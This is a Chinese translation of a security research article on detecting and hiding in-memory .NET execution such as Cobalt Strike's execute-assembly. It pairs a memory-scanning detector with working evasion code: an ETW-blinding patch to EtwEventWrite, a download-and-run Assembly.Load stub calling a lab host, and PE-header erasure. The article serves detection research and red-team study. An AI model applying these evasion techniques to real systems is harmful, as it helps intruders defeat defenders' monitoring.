欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_新闻事件正文

攻防实战:如何检测或优化内存中的.NET Tradecraft

admin2020-06-0798技术

概述

对于红队的攻击操作来说,使用内存中的Tradecraft所起到的效果变得越来越大,这主要是由于EDR不断进行功能改进,已经使越来越多的蓝队获得了监测运行中内存的能力。

此前,我们曾经讨论过将混淆处理集成到管道中的方法,也讨论过如何绕过Windows事件跟踪的方式,这两种方法都可以有助于减少蓝队用于检测内存中Tradecraft的有效指标。

Pentest Laboratories近期发表了一篇题为《AppDomainManager注入和检测》的文章,其中概述了如何使用AppDomainManager对象实现和检测内存中的.NET执行。在这篇文章的基础上,我们开始思考如何将这些概念应用于其他.NET执行技术,例如Cobalt Strike的execute-assembly,由此我们开展了一系列的研究。对于红队成员来说,了解我们所使用的工具以及工具的劣势,是至关重要的一个方面。

在本文中,我们将说明检测内存中程序集执行的另一种方式,并重点说明能进一步优化Tradecraft的可行策略。

回顾:ETW修补

在讨论本文的主要话题之前,我们首先回顾一下从上一篇文章中学到的内容,在上篇文章中,我们详细介绍了红队是如何修补Windows事件跟踪的函数,以限制正在运行的进程CLR中可见的程序集。在该过程中,涉及到修补ntdll.dll!EtwEventWrite函数,以防止该事件被报告。

我们可以使用.NET程序集选项卡,检查通过ETW在ProcessHacker中报告的程序集,如下所示:


但同时,我们也可以修补EtwEventWrite,使其实现以下的代码返回:

internal static void PatchEtwEventWrite()
{
       bool result;
       var hook = new byte[] { 0xc2, 0x14, 0x00, 0x00 };
       var address = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite");
        result = VirtualProtect(address, (UIntPtr)hook.Length, (uint)MemoryProtectionConsts.EXECUTE_READWRITE, out uint oldProtect);
       Marshal.Copy(hook, 0, address, hook.Length);
       result = VirtualProtect(address, (UIntPtr)hook.Length, oldProtect, out uint blackhole);
}

在应用补丁后,将会显示出如下的结果,可以证明成功限制了ETW的有效性:

在这个阶段,我们还希望了解.NET exe在内存中运行时的隐蔽性,并希望能分析Cobalt Strike的beacon execute-assembly功能是如何工作的。

深入分析Cobalt Strike的execute-assembly

Cobalt Strike的execute-assembly提供了漏洞利用后的功能,可以根据malleable配置稳健的spawnto配置,将CLR注入到远程进程中。

在这里,我们不会详细介绍CLR的注入方式,因为在以前的文章中已经做过说明。但是,值得注意的是,在利用CLR时,会将CLR DLL clr.ddl、clrjit.dll和其他相关文件加载到任何正在运行的进程中,并且Cobalt Strikes的execute-assembly也不例外:


当然,这就为蓝队如何寻找内存中的.NET执行提供了一个起点,可以缩小可能承载.NET exe进程的范围。毫无疑问,这可以作为一个基线,以识别不应加载的CLR进程异常。TheWover还提供了一个出色的工具用来监视模块加载,可以作为检测CLR加载过程的一种方法。

我们可以使用process-inject块中的选项,在某种程度上控制远程进程注入的配置,并且还可以使用startrwx和userwx设置来调整初始和最终页面的权限。首先,要允许使用READWRITE权限分配内存,然后将VirtualProtected分配给EXECUTE_READ,以防范蓝队通常情况下搜索EXECUTE_READWRITE设置。

让我们来执行一个长期运行的进程,以便可以正确分析注入过程中发生的事情:

public static void Main(string[] args)
{
       while (true)
       {
              Console.WriteLine("Sleeping");
              Thread.Sleep(60000);
       }
}

根据我们在spawnto配置中定义的进程,我们可以通过对所有长度为10以上的字符串进行搜索,以快速识别.NET二进制文件,该字符串通常会指向.NET exe的PE标头:


正如预期的那样,这是由我们的malleable配置文件提供的EXECUTE_READ页面。

在这个阶段,我们将.NET exe映射到内存中,但这在CLR中并不罕见,并且是可以预期的,特别是在使用Assemble.Load()之类的方法时。确实,在标准Windows 10桌面版中,如果我们扫描整个私有内存中所有正在运行的进程,会发现几个带有PE标头的私有内存进程。

接下来,让我们看看使用简单的加载器,通过Assembly.Load()检索并执行exe时会发生什么。为此,我们将使用以下简单的Stub:

var webClient = new System.Net.WebClient();
var data = webClient.DownloadData("http://10.37.129.2:8888/DummyConsole.exe");
try
{
       MethodInfo target = Assembly.Load(data).EntryPoint;
       target.Invoke(null, new object[] { null });
}
catch (Exception ex)
{
       Console.WriteLine(ex.Message);
}

将这个进程加载到Process Hacker中,我们就可以迅速地发现,我们的DummyConsole.exe应用程序再次映射到内存中:

但是,这里的主要区别在于,页面权限是不可执行的,这是预期的状况,因为正常执行会读取IL,并在其他位置进行JIT。

考虑到这一点,我们现在已经有了使用execute-assembly的潜在指标。在所有的测试过程中,我们无法使用CLR识别包含EXECUTE_READ或EXECUTE_READWRITE页面内PE标头的CLR的任何其他进程,也就是说无法识别Cobalt Strike的execute-assembly之外的任何利用方式所对应的进程。

蓝队:如何检测execute-assembly

现在,我们已经有了一个潜在的威胁指标(IoC),我们接下来研究如何搜寻execute-assembly的使用。

我们需要做的第一件事,就是将搜索范围缩小到仅加载CLR的进程,我们可以使用简单的C,代码来执行此操作,示例代码如下,它将检索正在运行的进程以及其加载的模块列表:

Process[] processlist = Process.GetProcesses();
foreach (Process theprocess in processlist)
{
       try
       {
              ProcessModuleCollection myProcessModuleCollection = theprocess.Modules;
              ProcessModule myProcessModule;
              for (int i = 0; i < myProcessModuleCollection.Count; i++)
              {
                     myProcessModule = myProcessModuleCollection[i];
                     if (myProcessModule.ModuleName.Contains("clr.dll"))
                     {
                            Console.WriteLine(",,,,,,,,, Process: {0} ID: {1}", theprocess.ProcessName, theprocess.Id);
                            Console.WriteLine("The moduleName is " + myProcessModule.ModuleName);
                            Console.WriteLine("The " + myProcessModule.ModuleName + "'s base address is: " + myProcessModule.BaseAddress);
                            Console.WriteLine("The " + myProcessModule.ModuleName + "'s Entry point address is: " + myProcessModule.EntryPointAddress);
                            Console.WriteLine("The " + myProcessModule.ModuleName + "'s File name is: " + myProcessModule.FileName);
                            i = myProcessModuleCollection.Count;
                     }
              }
       }
       catch (Exception e)
       {
              Console.WriteLine("!!!!!!!! Unable to Access Process: {0} ID: {1}", theprocess.ProcessName, theprocess.Id);
       }
}

其输出将类似于如下内容:


现在,我们有了使用CLR的进程列表,我们需要在每个进程中搜索EXECUTE_READ或EXECUTE_READWRITE页面内的PE标头。

实现这一点相对比较简单,我们只需使用CLR为每个进程恢复此前分配的私有内存的详细信息,然后读取该内存,扫描PE标头:

static Byte[] peHeader = new Byte[] { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65 };
public static void MemScan(string processName)
{
       SYSTEM_INFO sys_info = new SYSTEM_INFO();
       GetSystemInfo(out sys_info);
       UIntPtr proc_min_address = sys_info.minimumApplicationAddress;
       UIntPtr proc_max_address = sys_info.maximumApplicationAddress;
       ulong proc_min_address_l = (ulong)proc_min_address;
       ulong proc_max_address_l = (ulong)proc_max_address;
       Process process = Process.GetProcessesByName(processName);
       UIntPtr processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_WM_READ, false, (uint)process.Id);
       MEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION();
       uint bytesRead = 0;
       while (proc_min_address_l < proc_max_address_l)
       {
              VirtualQueryEx(processHandle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
              if (((mem_basic_info.Protect == PAGE_EXECUTE_READWRITE) || (mem_basic_info.Protect == PAGE_EXECUTE_READ)) && mem_basic_info.State == MEM_COMMIT)
              {
                     byte[] buffer = new byte[mem_basic_info.RegionSize];
                     ReadProcessMemory(processHandle, mem_basic_info.BaseAddress, buffer, mem_basic_info.RegionSize, ref bytesRead);
                     IntPtr Result = _Scan(buffer, peHeader);
                     if (Result != IntPtr.Zero)
                     {
                            Console.WriteLine("!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}", (mem_basic_info.BaseAddress).ToString("X"), (mem_basic_info.RegionSize).ToString("X"));
                     }
              }
              proc_min_address_l += mem_basic_info.RegionSize;
              proc_min_address = new UIntPtr(proc_min_address_l);
       }
}

重新进行我们的搜寻过程,这次使用我们新添加的内存扫描程序,在spawnto进程中发现了PE二进制文件:


我们可以通过分析Process Hacker中的进程,来验证这是正确的:


既然我们知道,可以识别由execute-assembly注入的.NET exe,那么就可以通过提取整个页面从内存中实现,如下所示:

if (Result != IntPtr.Zero)
{
       Console.WriteLine("!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}", (mem_basic_info.BaseAddress).ToString("X"), (mem_basic_info.RegionSize).ToString("X"));
       Console.WriteLine("!!! Carving PE from memory...");
       using (FileStream fileStream = new FileStream("out.exe", FileMode.Create))
       {
              for (uint i = (uint)Result; i < mem_basic_info.RegionSize; i++)
              {
                     fileStream.WriteByte(buffer[i]);
              }
       }
}

通过搜寻,我们现在不仅能够识别出execute-assembly的使用,还可以从远程进程中提取到二进制文件:


我们可以通过尝试运行二进制文件的方式,来确认已经从内存中正确地提取了二进制文件,但对于蓝队的分析过程来说,如果运行文件,则需要足够小心:


红队:在内存中使用.NET Tradecraft

既然我们已经研究过蓝队如何检测execute-assembly,那接下来我们就从进攻的角度来看看,红队可以采取哪些方法来缓解这样的检测。

首先,我们从检测方法的工作原理入手,寻找一个可能破坏检测方式的地方。在我们的方法中,内存中.NET执行的关键指标有:

1、进程内部加载的CLR相关模块;

2、RX或RW页面权限;

3、页面内部的PE标头。

考虑到这一点,我们可以使用几种策略来优化内存中的.NET Tradecraft:

1、在将CLR DLL加载到远程进程中时,我们应该考虑使用合法托管CLR的进程作为execute-assembly的spawnto,以避免将可疑模块的加载包含到基线之中。

2、在搜索已加载的DLL时,许多工具使用的最常用方法是从进程环境块(Process Environment Block)中读取模块列表。隐藏CLR DLL的方法包括从InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList和HashTableEntry列表取消链接模块。这个基本方法可以用于隐藏clr.dll、clrjit.dll和其他相关文件,以及依赖于遍历PEB的工具,导致这些工具无法识别某个进程正在使用CLR。

3、遗憾的是,据我们所知,仅使用Cobalt Strike的远程进程注入方式无法离开具有READWRITE权限的页面。但是,可以对它们进行VirtualProtect,并且可能会将其引导到管道之中。在接下来的几个月,我们将对这个领域开展更加深入的研究。

4、对于所使用的Tradecraft技术,我们可能还需要考虑在监视模块加载之外,避免或限制在内存中使用长时间运行的.NET程序集,在大多数情况下,内存扫描都是在某个时间点进行的。因此,.NET exe在内存中存在的时间越长,被检测到的概率就越大。

5、当我们在内存中搜索PE二进制文件时,有一种方法可能会限制检索,即重载PE标头。在后面,我们将逐步进行说明。

6、最后,正如我们所看到的,.NET exe以纯文本格式位于内存中,因此,我们建议红队成员对管道中的.NET exe进行混淆。MDSec一位出色的研究人员Adam Chester此前发表过一篇文章,其中说明了使用Azure管道实现这一目标的方法。

如前所述,红队成员可能希望从内存中装载.NET exe的PE标头,同时将页面权限保留为READWRITE。要实现这一目标,方法如下:首先在我们的spawnto进程(似乎是.NET exe的映射位置)中检索分配的内存的第一块,然后将页面权限设置为READWRITE,然后使用RtlFillMemory覆盖PE标头。这一步骤可以使用下面的代码来完成:

private static int ErasePEHeader()
{
       SYSTEM_INFO sys_info = new SYSTEM_INFO();
       GetSystemInfo(out sys_info);
       UIntPtr proc_min_address = sys_info.minimumApplicationAddress;
       UIntPtr proc_max_address = sys_info.maximumApplicationAddress;
       ulong proc_min_address_l = (ulong)proc_min_address;
       ulong proc_max_address_l = (ulong)proc_max_address;
       Process currentProcess = Process.GetCurrentProcess();
       MEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION();
       VirtualQueryEx(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
       proc_min_address_l += mem_basic_info.RegionSize;            proc_min_address = new UIntPtr(proc_min_address_l);
       VirtualQueryEx(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
       Console.WriteLine("Base Address: 0x{0}", (mem_basic_info.BaseAddress).ToString("X"));
       bool result = VirtualProtect((UIntPtr)mem_basic_info.BaseAddress, (UIntPtr)4096, (uint)MemoryProtectionConsts.READWRITE, out uint oldProtect);
       FillMemory((UIntPtr)mem_basic_info.BaseAddress, 132, 0);
       Console.WriteLine("PE Header overwritten at 0x{0}", (mem_basic_info.BaseAddress).ToString("X"));
       return 0;
}

我们可能首先需要验证它是不是预期的PE标头,可以使用与我们的内存扫描工具相同的代码来完成这一操作,为了简单起见,我们将其忽略。我们可能还需要更改这个设置,以扫描堆,并清理可能在其中存在的exe文件的其他已分配副本。

将这种方法与我们先前详细说明的ETW绕过(针对x64架构需要调整修补的代码),我们就得到了一种能更好地将.NET Tradecraft隐藏在内存中的方法。如果我们在Process Hacker中查看.NET程序集,我们可以看到它们没有被报告:


我们的.NET exe的PE标头现在已经不存在,页面权限设置为RW:


总结

在本文中,我们描述了蓝队如何检测内存中.NET执行的方法,并详细介绍了Cobalt Strike的execute-assembly功能的实际案例,确定了内置execute-assembly功能的威胁指标。在掌握这些知识后,我们就可以有针对性地提出运营过程的策略,红队可以利用这些策略来进一步优化其内存中的Tradecraft,并尽可能避免被蓝队发现。

关于内存扫描工具的源代码,请参考: https://github.com/dmchell/Sniper 。

本文由Dominic Chell撰写。

本文翻译自:https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/:

新出现的智能攻击形式:语音钓鱼攻击是如何发起攻击的?

Vishing (voice phishing,语音钓鱼) 是一种新出现的智能攻击形式,其攻击目的就是试图诱骗受害者泄漏个人敏感信息。 语音钓鱼是网络钓鱼的电话版,试图通过语音诱骗的手段,获取受害者的个人信息。虽然这听起来像是一种老掉牙的骗局套路,但其中却加入了高科技元素:例如,它们涉及自动语音模拟技术,或者诈骗者可能会使用从较早的网络攻击中获得的有关受害者的个人信息。 随着AI的普及,语音钓鱼的频率也会越来越多。2019年,一家英国能源公司就遭遇了新型诈骗——AI合成的“语音钓鱼”。该能源公司主管以为接到德国总公司CEO来电,因为对方操着一口地道的德国口音,语调也跟他熟悉的德国总公司CEO几乎一模一样,于是就把款项转了过去,被诈骗了22万欧元。 无论使用哪种攻击技术,攻击的过程都是按着以下步骤进行的:攻击者首先会创建了一个诈骗场景来实施诈骗,然后利用人类的贪婪或恐惧等情绪,诱使受害者泄漏敏感信息,

网友评论